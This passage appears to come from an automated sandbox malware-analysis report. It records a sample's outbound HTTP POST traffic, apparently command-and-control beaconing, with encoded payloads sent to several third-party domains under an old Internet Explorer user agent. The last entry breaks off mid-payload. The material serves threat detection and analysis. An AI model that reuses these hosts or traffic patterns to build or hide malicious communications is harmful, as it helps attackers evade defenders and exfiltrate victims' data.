Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.synetik.netCache-Control: no-cacheData Raw: 30 52 45 59 32 32 66 76 75 52 47 68 5a 69 62 7a 46 69 56 53 6d 54 41 36 6f 47 7a 64 4f 37 34 54 69 33 6e 2b 51 68 55 31 78 33 42 59 71 6f 47 59 74 2b 49 30 74 50 37 2f 66 36 76 33 51 67 55 6c 61 67 4b 33 68 78 5a 4f 57 64 74 37 2f 49 65 50 77 41 4b 56 36 78 6c 64 41 51 74 44 44 78 4c 44 72 37 35 78 61 48 78 4f 4d 70 56 75 46 56 36 39 4f 47 74 30 58 73 42 5a 6c 54 57 47 63 4a 53 42 72 51 59 62 7a 6e 39 33 33 59 4e 51 30 61 50 4f 70 53 79 53 65 77 6f 71 6a 76 36 58 44 6d 6e 53 4c 73 50 52 33 75 72 62 73 54 45 54 35 55 70 62 38 78 55 62 77 49 43 4d 59 46 55 35 79 7a 43 63 31 5a 2b 6a 36 6e 6d 45 6c 6a 39 46 73 6a 39 35 34 6e 39 70 36 39 37 31 65 4d 44 73 38 79 51 54 37 54 43 5a 45 4f 72 6a 4a 41 6e 71 77 62 49 30 36 53 39 53 4f 7a 5a 32 6c 54 39 62 71 31 51 45 52 36 46 70 41 47 33 59 35 4b 37 50 51 37 2f 6d 69 54 6c 67 50 66 74 78 56 45 35 42 69 6d 74 42 30 56 6e 54 70 45 52 72 6c 47 46 35 52 7a 77 58 32 52 37 44 66 7a 66 4f 58 37 41 6c 6e 43 6c 75 4d 31 45 50 73 66 44 4e 71 71 6b 37 75 4a 74 42 68 70 56 6b 4f 6f 35 53 66 62 4b 37 55 6f 4e 47 74 66 4d 6e 48 5a 64 75 6c 66 64 73 63 31 59 4c 4f 36 75 37 76 2f 39 52 61 64 43 61 4c 72 30 39 39 4f 68 6e 39 67 54 54 6c 57 7a 50 74 35 66 39 48 4e 5a 6b 43 7a 31 63 5a 79 4d 4d 54 73 65 54 69 72 4c 38 49 6d 6c 34 6b 71 56 35 58 2b 4a 49 4f 67 73 68 65 6b 67 70 32 6d 45 7a 74 35 74 7a 47 68 58 78 37 34 67 38 6c 32 57 55 54 75 64 6a 34 6f 65 36 56 46 39 78 33 4e 75 35 51 77 70 67 59 37 50 4a 46 44 49 6e 63 54 52 74 72 69 44 36 67 70 32 37 61 42 74 58 77 78 45 6d 31 30 67 6d 37 6f 50 49 48 39 32 61 4f 74 50 49 2b 30 49 50 36 48 37 78 39 4c 45 47 2b 69 32 4b 70 69 53 6f 78 6f 4c 6b 4f 7a 69 32 65 64 72 61 39 6a 34 67 6c 31 54 66 51 4d 54 78 4c 5a 72 63 69 68 54 52 4b 5a 54 31 Data Ascii: 0REY22fvuRGhZibzFiVSmTA6oGzdO74Ti3n+QhU1x3BYqoGYt+I0tP7/f6v3QgUlagK3hxZOWdt7/IePwAKV6xldAQtDDxLDr75xaHxOMpVuFV69OGt0XsBZlTWGcJSBrQYbzn933YNQ0aPOpSySewoqjv6XDmnSLsPR3urbsTET5Upb8xUbwICMYFU5yzCc1Z+j6nmElj9Fsj954n9p6971eMDs8yQT7TCZEOrjJAnqwbI06S9SOzZ2lT9bq1QER6FpAG3Y5K7PQ7/miTlgPftxVE5BimtB0VnTpERrlGF5RzwX2R7DfzfOX7AlnCluM1EPsfDNqqk7uJtBhpVkOo5SfbK7UoNGtfMnHZdulfdsc1YLO6u7v/9RadCaLr099Ohn9gTTlWzPt5f9HNZkCz1cZyMMTseTirL8Iml4kqV5X+JIOgshekgp2mEzt5tzGhXx74g8l2WUTudj4oe6VF9x3Nu5QwpgY7PJFDIncTRtriD6gp27aBtXwxEm10gm7oPIH92aOtPI+0IP6H7x9LEG+i2KpiSoxoLkOzi2edra9j4gl1TfQMTxLZrcihTRKZT1
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vazir.seCache-Control: no-cacheCookie: btst=5d3dcc97c0c1a425f99b0cbaf502b030\|173.254.250.81\|1729847890\|1729847855\|17\|2\|0; snkz=173.254.250.81Data Raw: 66 32 74 4a 32 75 77 34 77 68 45 78 31 59 32 6d 31 39 38 46 46 66 2b 4f 6e 48 52 45 4f 46 31 4e 34 43 44 6b 4c 72 64 2b 61 66 43 6d 70 54 62 50 49 6a 4a 55 66 4f 71 75 53 70 42 66 37 78 4a 53 58 69 4d 54 43 41 48 69 65 63 6e 37 66 68 34 6e 65 37 6c 41 6a 72 31 78 51 36 43 43 74 48 33 65 78 68 5a 59 70 51 31 30 78 72 4c 78 47 44 2b 39 69 70 78 42 70 42 77 50 58 6c 67 47 45 42 71 47 75 52 50 38 48 73 4f 4a 74 49 6d 33 66 4e 4f 75 2b 2f 6b 77 6e 76 6f 2b 53 79 54 78 73 59 6d 49 44 39 65 35 32 65 33 39 54 73 7a 45 39 35 34 66 46 77 4b 68 4a 42 35 59 63 75 54 74 39 4a 49 6d 6f 6d 4d 74 6c 51 6a 45 2f 56 68 64 5a 4b 2b 79 78 64 51 74 74 75 34 7a 34 75 30 76 64 46 68 33 5a 73 77 77 34 39 52 47 50 41 6f 31 66 6b 78 62 31 68 6f 57 78 30 36 49 51 41 75 58 69 2f 6f 38 35 44 4b 75 58 30 6b 30 69 69 41 6e 56 4e 66 2b 61 4c 50 36 55 76 75 31 68 33 63 44 43 47 32 75 59 4f 68 62 4b 75 2b 4e 2f 41 75 39 42 47 75 52 7a 67 63 50 31 53 5a 50 76 70 49 74 56 78 75 34 73 44 54 62 63 5a 4b 32 68 30 37 2f 35 43 47 67 76 66 4e 4e 52 54 56 41 52 55 59 6d 4c 70 63 59 35 44 74 33 61 31 65 2b 56 48 2f 43 69 4c 53 57 32 51 48 52 61 6e 67 54 4c 33 34 54 59 50 42 6a 79 49 38 51 53 4a 34 34 59 67 78 4f 44 4b 39 53 45 62 65 6c 4f 61 76 75 51 48 79 6d 51 56 76 4e 64 4d 52 41 66 52 52 57 50 6d 31 6e 37 63 33 6c 48 57 5a 6c 78 66 2b 69 32 68 55 39 33 77 6e 52 4c 72 52 37 78 66 6c 61 41 32 32 64 67 38 73 66 62 51 71 65 55 56 56 42 51 42 2b 71 71 66 33 2b 51 66 68 42 64 51 4a 63 59 6c 64 63 43 59 52 48 43 72 36 69 69 38 75 45 77 45 51 70 41 49 6b 6c 4d 71 32 2b 47 61 51 64 4d 52 6b 74 64 65 7a 45 42 76 45 5a 65 59 32 63 72 57 56 57 53 76 74 2f 4b 5a 66 66 72 67 56 38 32 6d 47 4d 5a 38 5a 56 59 30 6f 77 53 4b 2f 68 73 4b 34 36 36 4d 52 49 54 73 30 3d Data Ascii: f2tJ2uw4whEx1Y2m198FFf+OnHREOF1N4CDkLrd+afCmpTbPIjJUfOquSpBf7xJSXiMTCAHiecn7fh4ne7lAjr1xQ6CCtH3exhZYpQ10xrLxGD+9ipxBpBwPXlgGEBqGuRP8HsOJtIm3fNOu+/kwnvo+SyTxsYmID9e52e39TszE954fFwKhJB5YcuTt9JImomMtlQjE/VhdZK+yxdQttu4z4u0vdFh3Zsww49RGPAo1fkxb1hoWx06IQAuXi/o85DKuX0k0iiAnVNf+aLP6Uvu1h3cDCG2uYOhbKu+N/Au9BGuRzgcP1SZPvpItVxu4sDTbcZK2h07/5CGgvfNNRTVARUYmLpcY5Dt3a1e+VH/CiLSW2QHRangTL34TYPBjyI8QSJ44YgxODK9SEbelOavuQHymQVvNdMRAfRRWPm1n7c3lHWZlxf+i2hU93wnRLrR7xflaA22dg8sfbQqeUVVBQB+qqf3+QfhBdQJcYldcCYRHCr6ii8uEwEQpAIklMq2+GaQdMRktdezEBvEZeY2crWVWSvt/KZffrgV82mGMZ8ZVY0owSK/hsK466MRITs0=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.yoruksut.comCache-Control: no-cacheData Raw: 58 42 56 4d 61 67 55 35 54 6c 7a 4b 36 55 58 34 4c 4e 61 63 71 48 36 62 69 54 2f 54 4d 50 74 47 43 59 59 59 71 5a 77 5a 34 73 32 61 58 6d 41 4a 65 41 41 56 33 64 64 6f 78 66 79 4b 42 79 54 4c 4a 6f 76 37 62 37 6d 70 68 77 77 65 44 37 62 4c 69 39 5a 73 46 70 72 34 78 61 70 4c 50 65 44 55 56 6a 33 43 2f 73 64 36 70 6b 59 75 47 39 38 57 55 63 55 65 57 63 39 64 71 46 4f 4c 67 34 70 59 48 4d 54 4a 43 48 51 2b 64 65 53 6c 6b 58 57 4f 33 42 63 57 78 75 4e 53 65 4f 41 4b 59 32 61 7a 46 53 34 77 33 58 56 73 47 72 33 69 31 59 38 4d 42 6a 74 50 62 4b 54 76 31 6e 59 33 42 77 67 50 34 4e 4d 6c 43 54 51 31 32 66 7a 77 73 7a 49 5a 70 47 51 44 6c 6f 62 77 51 78 72 53 31 39 42 44 61 4d 33 39 32 45 30 6f 56 58 6d 48 6e 43 43 7a 4a 63 5a 78 6a 48 67 58 51 71 41 73 32 39 54 36 78 6c 7a 68 68 4c 63 45 79 44 71 50 48 67 35 41 74 56 51 43 46 30 35 49 37 74 63 73 78 5a 50 6e 74 58 67 41 45 61 65 2f 48 39 66 46 30 57 44 46 4b 50 4a 64 69 7a 76 4d 4a 6e 6f 44 6d 74 36 44 43 63 53 49 62 64 53 36 6b 35 7a 78 6e 43 50 31 72 7a 61 69 4c 69 67 73 6f 32 48 47 64 56 38 71 63 35 34 4d 63 39 74 2f 57 79 44 51 43 66 30 36 6f 54 69 32 76 77 76 4f 74 4d 62 41 62 45 4f 61 49 2f 73 52 4f 43 49 63 56 6f 37 45 78 69 6b 33 73 41 6a 51 42 4f 47 4b 52 4d 74 59 55 41 69 67 50 64 6f 76 39 6b 33 79 2f 49 4d 52 79 54 49 6d 7a 43 6f 61 69 49 5a 69 2f 79 44 56 48 54 39 4b 44 6b 50 70 42 63 49 73 6b 34 53 43 58 46 74 61 6e 62 30 4d 39 2b 7a 6c 6c 62 48 67 76 78 4e 76 4c 68 57 47 37 42 75 77 50 5a 52 79 34 5a 73 55 58 49 56 43 34 67 63 52 74 68 4b 74 79 32 79 38 31 57 2f 70 61 57 50 79 30 53 65 66 39 45 61 33 64 5a 32 4b 48 38 49 4d 48 2f 6d 50 51 61 70 6d 45 68 71 54 6a 6d 6e 4c 47 70 48 51 38 77 32 45 41 67 51 37 4e 34 4c 42 69 4a 31 6a 36 35 35 78 32 41 3d 3d Data Ascii: XBVMagU5TlzK6UX4LNacqH6biT/TMPtGCYYYqZwZ4s2aXmAJeAAV3ddoxfyKByTLJov7b7mphwweD7bLi9ZsFpr4xapLPeDUVj3C/sd6pkYuG98WUcUeWc9dqFOLg4pYHMTJCHQ+deSlkXWO3BcWxuNSeOAKY2azFS4w3XVsGr3i1Y8MBjtPbKTv1nY3BwgP4NMlCTQ12fzwszIZpGQDlobwQxrS19BDaM392E0oVXmHnCCzJcZxjHgXQqAs29T6xlzhhLcEyDqPHg5AtVQCF05I7tcsxZPntXgAEae/H9fF0WDFKPJdizvMJnoDmt6DCcSIbdS6k5zxnCP1rzaiLigso2HGdV8qc54Mc9t/WyDQCf06oTi2vwvOtMbAbEOaI/sROCIcVo7Exik3sAjQBOGKRMtYUAigPdov9k3y/IMRyTImzCoaiIZi/yDVHT9KDkPpBcIsk4SCXFtanb0M9+zllbHgvxNvLhWG7BuwPZRy4ZsUXIVC4gcRthKty2y81W/paWPy0Sef9Ea3dZ2KH8IMH/mPQapmEhqTjmnLGpHQ8w2EAgQ7N4LBiJ1j655x2A==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora.ecnet.jpCache-Control: no-cacheData Raw: 45 42 43 77 4a 62 70 58 4e 78 48 58 6b 54 46 67 58 59 4e 63 75 76 33 6f 44 32 38 71 49 6e 6f 71 6a 6e 31 6b 58 47 6e 4b 43 54 47 57 66 75 49 6c 75 43 49 77 47 72 57 61 79 6b 4c 59 58 63 71 6b 2f 77 30 48 4a 37 68 41 2b 79 52 6a 44 4b 2f 67 33 2f 45 4d 4f 53 50 41 67 74 75 30 52 6d 53 39 4b 4a 62 56 32 47 68 6c 33 33 57 61 4f 36 47 75 50 42 6f 63 56 32 72 59 4b 6a 6f 70 4f 74 51 35 4c 4c 39 7a 5a 57 30 6a 50 61 73 59 2f 36 5a 2f 62 53 46 6b 45 47 74 68 56 58 42 46 7a 41 6f 77 65 5a 62 67 62 66 58 6a 48 75 68 5a 33 4c 79 59 58 4f 2b 6b 4a 52 58 52 72 6e 76 49 4a 58 77 53 2b 67 49 6a 6b 36 64 59 35 35 77 6c 73 65 62 32 51 33 6d 4e 48 56 77 47 6b 32 31 50 6b 6e 4a 72 63 76 38 6d 62 32 38 6f 6e 50 51 53 75 6e 70 30 51 77 30 51 71 75 6a 64 66 66 46 65 4a 44 4a 77 57 31 6d 52 66 53 77 62 4f 62 53 57 49 32 73 53 46 55 47 4b 4f 46 57 73 2f 54 53 6b 4b 78 65 6e 69 41 2f 70 52 55 63 57 36 33 4f 75 4d 6f 35 34 6d 4e 6e 77 50 39 33 64 69 68 4e 6c 69 33 79 76 2b 67 62 75 30 58 35 79 49 47 35 44 71 31 51 6e 55 56 4f 45 56 75 55 67 61 42 52 6e 6e 50 56 7a 59 58 7a 56 6b 37 5a 4e 30 45 64 45 44 73 61 2b 4b 77 73 71 6b 41 4a 63 61 34 4f 2f 63 75 58 6d 79 35 46 59 5a 6c 34 70 69 73 52 73 76 79 6b 69 62 37 42 4d 49 63 4b 35 2b 49 32 73 6c 6a 76 2b 4a 37 64 4c 64 36 2b 4a 65 30 38 4b 38 30 2f 73 6c 48 35 39 4d 68 53 44 36 56 65 2b 57 46 4c 4a 44 4b 4d 70 31 4f 2f 69 58 52 77 70 37 49 6f 49 50 52 47 4c 51 32 45 6f 43 48 64 4e 66 41 7a 4e 4d 4a 36 44 68 50 69 50 6a 53 4e 51 6e 6a 4d 61 62 61 4b 33 51 4e 52 36 33 57 6d 47 4c 62 77 35 69 58 2b 31 34 7a 4c 6a 6f 4c 62 6f 59 34 4f 56 73 33 47 6d 61 33 65 36 4c 65 51 53 4a 79 67 6e 6d 33 46 4f 61 62 63 70 76 4f 76 2f 49 35 72 68 76 49 52 35 69 51 4f 65 65 38 6d 34 33 2f 78 4d 70 35 74 69 78 33 4b 59 52 68 6f 59 64 38 30 3d Data Ascii: EBCwJbpXNxHXkTFgXYNcuv3oD28qInoqjn1kXGnKCTGWfuIluCIwGrWaykLYXcqk/w0HJ7hA+yRjDK/g3/EMOSPAgtu0RmS9KJbV2Ghl33WaO6GuPBocV2rYKjopOtQ5LL9zZW0jPasY/6Z/bSFkEGthVXBFzAoweZbgbfXjHuhZ3LyYXO+kJRXRrnvIJXwS+gIjk6dY55wlseb2Q3mNHVwGk21PknJrcv8mb28onPQSunp0Qw0QqujdffFeJDJwW1mRfSwbObSWI2sSFUGKOFWs/TSkKxeniA/pRUcW63OuMo54mNnwP93dihNli3yv+gbu0X5yIG5Dq1QnUVOEVuUgaBRnnPVzYXzVk7ZN0EdEDsa+KwsqkAJca4O/cuXmy5FYZl4pisRsvykib7BMIcK5+I2sljv+J7dLd6+Je08K80/slH59MhSD6Ve+WFLJDKMp1O/iXRwp7IoIPRGLQ2EoCHdNfAzNMJ6DhPiPjSNQnjMabaK3QNR63WmGLbw5iX+14zLjoLboY4OVs3Gma3e6LeQSJygnm3FOabcpvOv/I5rhvIR5iQOee8m43/xMp5tix3KYRhoYd80=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.yoruksut.comCache-Control: no-cacheData Raw: 42 46 32 53 61 53 50 67 78 68 45 46 58 46 32 46 71 6b 64 42 52 45 79 32 7a 71 68 4a 6f 55 6e 47 42 33 68 6f 58 4c 61 46 42 4d 47 47 44 42 73 44 67 50 67 79 34 4f 45 74 70 33 57 6a 59 66 64 30 33 56 46 61 57 76 51 72 50 4d 49 58 39 46 76 71 42 39 4e 7a 68 7a 45 43 51 58 44 47 77 44 31 66 65 4d 37 55 4c 73 4b 63 6f 6a 30 69 4c 76 41 4b 72 63 61 39 53 69 4b 58 76 78 44 63 6b 33 55 6e 6e 6d 4e 52 42 66 73 65 55 45 47 4d 79 2b 4f 59 6b 74 30 66 67 38 69 44 4f 38 51 2f 52 75 63 66 6d 52 70 33 75 4f 53 2f 64 68 55 4e 73 77 6c 6b 59 78 5a 49 4e 73 75 68 32 33 58 4c 35 71 46 69 2b 41 54 53 55 34 31 6e 74 51 45 49 73 6e 6c 71 6e 31 65 65 50 36 43 4c 5a 33 79 6a 76 6e 52 34 6a 50 73 35 33 36 56 6c 43 75 66 6f 47 7a 52 45 59 38 4e 6e 45 78 66 52 58 53 49 32 38 77 32 63 68 6c 56 48 6b 63 52 73 39 68 4f 6d 42 70 78 4a 69 70 30 68 49 69 37 32 4c 78 48 76 4f 47 67 56 59 58 4a 2f 33 79 54 37 76 65 78 48 50 45 57 71 78 43 4c 64 65 53 51 4b 46 51 4e 55 4e 4b 44 54 66 33 68 42 33 6f 71 70 68 49 78 62 4e 77 6d 52 4f 54 71 47 36 46 30 72 78 53 66 44 61 4a 45 52 72 2b 32 2b 65 37 43 54 6d 4f 32 53 37 62 74 52 54 7a 6c 53 55 58 30 68 65 4b 34 45 62 48 43 58 44 75 45 4e 67 35 79 6a 2f 61 57 75 4b 4f 68 5a 6b 71 6f 67 42 39 6f 57 42 33 71 38 67 4e 59 4d 62 2b 41 73 6e 4d 48 44 4c 61 33 77 45 6d 48 4d 4d 33 7a 4a 50 6e 64 57 6b 41 52 61 67 7a 46 42 37 77 36 61 77 61 42 6f 39 48 56 7a 76 77 6b 54 6a 75 6e 30 6d 48 71 74 4a 4a 77 4e 79 52 54 41 6b 36 52 4f 75 34 61 49 41 4d 4f 77 30 30 44 44 74 2b 39 37 45 79 4b 55 4f 56 6c 56 6f 67 64 6c 46 77 46 6d 6b 64 44 6f 46 71 59 6f 45 68 63 4e 6c 69 5a 58 43 71 68 4f Data Ascii: BF2SaSPgxhEFXF2FqkdBREy2zqhJoUnGB3hoXLaFBMGGDBsDgPgy4OEtp3WjYfd03VFaWvQrPMIX9FvqB9NzhzECQXDGwD1feM7ULsKcoj0iLvAKrca9SiKXvxDck3UnnmNRBfseUEGMy+OYkt0fg8iDO8Q/RucfmRp3uOS/dhUNswlkYxZINsuh23XL5qFi+ATSU41ntQEIsnlqn1eeP6CLZ3yjvnR4jPs536VlCufoGzREY8NnExfRXSI28w2chlVHkcRs9hOmBpxJip0hIi72LxHvOGgVYXJ/3yT7vexHPEWqxCLdeSQKFQNUNKDTf3hB3oqphIxbNwmROTqG6F0rxSfDaJERr+2+e7CTmO2S7btRTzlSUX0heK4EbHCXDuENg5yj/aWuKOhZkqogB9oWB3q8gNYMb+AsnMHDLa3wEmHMM3zJPndWkARagzFB7w6awaBo9HVzvwkTjun0mHqtJJwNyRTAk6ROu4aIAMOw00DDt+97EyKUOVlVogdlFwFmkdDoFqYoEhcNliZXCqhO
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.edimart.huCache-Control: no-cacheData Raw: 5a 63 57 42 58 70 6f 6b 31 78 46 78 50 2b 33 65 76 53 76 37 62 39 32 6f 4c 6a 65 4b 49 46 31 52 62 71 43 6d 6e 75 48 74 52 61 44 78 74 49 77 79 44 5a 58 69 4c 45 42 59 59 34 61 58 67 59 6a 61 6e 6f 4d 30 33 64 41 4d 35 66 2f 6a 72 71 71 71 48 79 73 46 53 44 52 39 58 4d 5a 43 4e 31 76 63 6e 31 6b 6b 63 32 41 50 74 57 77 4b 79 6a 5a 37 73 4a 32 62 43 56 4b 49 59 75 77 59 5a 43 50 55 51 61 38 4b 4d 56 74 56 38 62 4a 6a 4e 55 37 59 78 57 4e 4f 67 33 76 51 4c 5a 4d 67 34 53 6a 67 55 52 65 6f 78 7a 4a 71 51 32 35 30 46 54 33 39 73 71 2f 4f 37 53 50 30 5a 4b 39 57 46 31 6c 58 6d 45 62 4b 63 62 6f 62 39 35 55 52 57 31 78 76 6e 71 68 72 33 30 6c 4a 65 33 4a 73 42 34 64 67 33 48 55 63 61 58 54 46 58 45 4b 62 38 37 5a 68 35 36 73 54 36 36 61 6a 47 30 6d 50 57 74 31 48 62 59 33 71 2f 37 52 61 35 59 71 77 54 4f 6b 71 79 6f 72 62 53 69 50 57 64 54 53 79 42 7a 58 50 77 31 64 4d 59 63 4c 35 2f 56 34 6f 59 58 47 39 71 74 62 43 74 61 38 33 71 46 6d 6b 52 57 7a 65 45 4b 56 74 52 71 4a 4e 72 74 58 56 43 4d 31 54 72 51 4c 51 54 57 32 38 58 4b 32 4f 43 4f 6f 67 42 74 55 38 64 6e 6d 77 7a 41 6c 57 69 30 75 72 31 75 43 74 4e 4e 50 42 73 4c 43 75 4c 6f 53 69 42 4a 65 56 2f 64 30 56 4e 79 72 6a 62 44 53 68 47 76 73 62 50 31 46 33 59 39 4a 45 52 47 4c 73 62 73 51 50 57 6f 72 64 62 6c 34 68 79 36 6c 58 72 78 32 75 6d 2b 6e 61 58 32 52 4d 72 66 35 4a 4a 65 79 45 62 56 6f 79 76 4e 56 43 52 55 2f 4b 68 55 75 59 6e 4a 2f 62 52 53 51 48 4f 4c 58 4c 71 30 4f 2f 45 73 71 2f 37 32 48 39 41 4b 4f 5a 4d 59 46 6c 53 42 70 52 66 6d 62 33 5a 66 4e 37 4d 5a 77 77 71 38 31 5a 49 48 59 79 47 50 5a 37 39 33 5a 34 75 4f 52 64 49 2b 4f 31 41 37 6e 38 72 4e 64 73 6d 57 61 72 57 31 37 6f 58 38 48 49 6e 37 78 53 68 43 79 76 35 34 62 42 56 54 68 6c 75 77 32 4a 59 48 63 6f 5a 32 6d 65 4f 41 3d 3d Data Ascii: ZcWBXpok1xFxP+3evSv7b92oLjeKIF1RbqCmnuHtRaDxtIwyDZXiLEBYY4aXgYjanoM03dAM5f/jrqqqHysFSDR9XMZCN1vcn1kkc2APtWwKyjZ7sJ2bCVKIYuwYZCPUQa8KMVtV8bJjNU7YxWNOg3vQLZMg4SjgUReoxzJqQ250FT39sq/O7SP0ZK9WF1lXmEbKcbob95URW1xvnqhr30lJe3JsB4dg3HUcaXTFXEKb87Zh56sT66ajG0mPWt1HbY3q/7Ra5YqwTOkqyorbSiPWdTSyBzXPw1dMYcL5/V4oYXG9qtbCta83qFmkRWzeEKVtRqJNrtXVCM1TrQLQTW28XK2OCOogBtU8dnmwzAlWi0ur1uCtNNPBsLCuLoSiBJeV/d0VNyrjbDShGvsbP1F3Y9JERGLsbsQPWordbl4hy6lXrx2um+naX2RMrf5JJeyEbVoyvNVCRU/KhUuYnJ/bRSQHOLXLq0O/Esq/72H9AKOZMYFlSBpRfmb3ZfN7MZwwq81ZIHYyGPZ793Z4uORdI+O1A7n8rNdsmWarW17oX8HIn7xShCyv54bBVThluw2JYHcoZ2meOA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vitaindu.comCache-Control: no-cacheData Raw: 65 62 36 61 55 57 39 63 5a 6c 78 53 42 2f 42 2f 6a 74 39 4d 76 58 67 51 59 30 47 46 63 61 54 56 45 33 50 53 39 53 50 30 49 39 44 54 31 55 37 67 59 50 47 72 6e 4f 70 75 39 47 70 4f 66 71 37 59 57 63 77 54 6f 48 46 58 59 71 30 57 70 74 4d 63 79 50 67 48 76 58 36 6b 67 35 49 37 35 73 4e 44 4d 6b 6c 63 61 66 6c 36 70 49 33 2b 78 79 58 76 62 6a 2b 62 4e 38 4a 78 35 63 6b 74 5a 71 4f 47 31 49 64 45 41 55 47 4f 2b 54 44 6a 4d 6c 6e 42 71 71 46 4b 6a 51 53 6a 59 2f 43 33 42 34 55 2b 5a 52 73 44 37 41 31 54 42 79 46 32 54 5a 47 62 4a 68 4d 69 4f 35 56 37 36 47 68 4c 63 71 39 62 6f 55 4a 74 6a 36 6e 4e 46 79 4f 37 48 57 44 38 45 30 4a 52 39 77 59 50 37 39 2f 39 42 41 4f 4c 73 73 4b 45 71 6a 61 6c 56 64 47 6e 61 43 4c 6a 6b 4d 44 32 2f 77 33 44 5a 71 62 31 6e 4a 32 46 38 38 62 75 41 5a 68 51 37 34 73 71 70 66 42 4b 73 56 32 56 43 59 2b 56 59 30 47 56 34 41 70 77 6e 79 6b 38 79 65 4c 30 65 58 55 70 30 5a 4a 4a 62 34 50 34 4f 75 73 70 4e 4c 53 56 7a 45 73 6d 59 69 72 73 68 77 73 6f 42 48 78 32 78 66 73 78 33 76 51 34 6b 75 58 31 6f 45 45 62 46 69 4e 4f 79 2b 43 5a 4e 78 34 31 47 31 66 7a 2b 2b 46 59 53 4b 38 55 69 68 5a 38 78 71 53 42 62 53 31 52 59 31 69 6d 64 76 64 2b 44 7a 51 38 2f 36 41 79 75 62 49 4b 35 56 50 46 35 6d 4b 77 59 46 58 61 41 6e 65 65 68 52 63 58 7a 4d 53 57 5a 70 6a 43 75 6e 64 56 34 4f 42 57 6e 66 62 59 77 36 77 47 54 63 43 49 50 63 52 45 4c 38 66 71 53 36 67 6a 38 31 4f 69 62 73 6f 30 4a 46 65 43 53 76 79 71 38 36 36 61 73 56 37 71 48 39 4c 57 43 59 6e 76 43 4a 36 37 4b 36 53 74 46 51 36 51 58 63 6c 65 73 55 53 72 50 68 69 4e 7a 6e 6e 4d 61 55 59 6b 33 77 43 4d 4e 47 4a 59 4e 6a 5a 62 68 7a 6d 59 72 64 52 56 52 63 65 56 71 4a 4a 44 69 71 35 52 42 70 33 2f 6d 71 38 67 35 67 33 41 6e 67 57 6d 6a 6b 69 2b 45 30 58 38 4f 47 64 6d 6c 45 59 6e 6e 36 4b 70 42 43 59 36 34 51 3d 3d Data Ascii: eb6aUW9cZlxSB/B/jt9MvXgQY0GFcaTVE3PS9SP0I9DT1U7gYPGrnOpu9GpOfq7YWcwToHFXYq0WptMcyPgHvX6kg5I75sNDMklcafl6pI3+xyXvbj+bN8Jx5cktZqOG1IdEAUGO+TDjMlnBqqFKjQSjY/C3B4U+ZRsD7A1TByF2TZGbJhMiO5V76GhLcq9boUJtj6nNFyO7HWD8E0JR9wYP79/9BAOLssKEqjalVdGnaCLjkMD2/w3DZqb1nJ2F88buAZhQ74sqpfBKsV2VCY+VY0GV4Apwnyk8yeL0eXUp0ZJJb4P4OuspNLSVzEsmYirshwsoBHx2xfsx3vQ4kuX1oEEbFiNOy+CZNx41G1fz++FYSK8UihZ8xqSBbS1RY1imdvd+DzQ8/6AyubIK5VPF5mKwYFXaAneehRcXzMSWZpjCundV4OBWnfbYw6wGTcCIPcREL8fqS6gj81Oibso0JFeCSvyq866asV7qH9LWCYnvCJ67K6StFQ6QXclesUSrPhiNznnMaUYk3wCMNGJYNjZbhzmYrdRVRceVqJJDiq5RBp3/mq8g5g3AngWmjki+E0X8OGdmlEYnn6KpBCY64Q==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.yocinc.orgCache-Control: no-cacheData Raw: 6b 54 6d 4d 47 76 47 39 6d 68 45 36 58 45 2b 6e 45 4a 36 42 56 55 6f 72 63 72 59 76 68 67 45 46 74 66 76 73 68 41 32 68 38 52 6b 43 6e 47 36 39 77 5a 64 36 67 68 44 74 6a 43 53 31 48 6f 64 64 75 57 69 37 5a 77 2f 71 6a 76 39 77 64 5a 61 36 44 2b 68 64 64 66 53 6c 56 46 6e 52 73 58 36 4f 32 35 41 47 4a 75 39 72 4d 6b 6c 37 4e 73 4d 7a 68 4a 2f 66 59 45 30 4b 53 48 33 37 67 43 74 50 41 45 70 47 2b 49 59 36 51 39 2f 50 43 57 4a 36 46 68 6b 62 41 4b 52 68 39 47 49 35 46 48 66 32 55 77 31 63 76 79 43 75 68 79 53 4c 39 6d 6d 71 5a 49 74 4c 74 36 77 6d 37 43 73 57 42 4d 38 64 69 79 42 61 41 33 56 71 48 36 75 43 74 54 6d 57 31 75 49 4a 35 69 6b 58 4b 37 42 78 37 66 46 49 69 2f 2f 33 51 57 50 65 47 2f 56 54 72 65 56 65 57 5a 59 32 77 62 4c 4f 35 4b 69 51 61 75 74 2f 46 6a 57 52 51 43 67 79 6d 39 4b 62 37 71 6e 58 49 4f 53 58 51 2b 72 77 6b 79 4a 38 2f 74 7a 56 7a 6f 38 44 6f 41 4e 31 68 6d 71 69 43 38 2b 61 39 37 6c 6c 6b 4d 79 41 44 79 78 57 52 7a 6c 6d 77 45 45 75 7a 73 66 4d 58 6b 70 4e 4e 79 79 56 76 4f 58 6a 33 75 64 7a 45 74 33 45 4f 69 44 4e 43 75 38 39 65 66 4b 4f 58 79 42 46 41 63 48 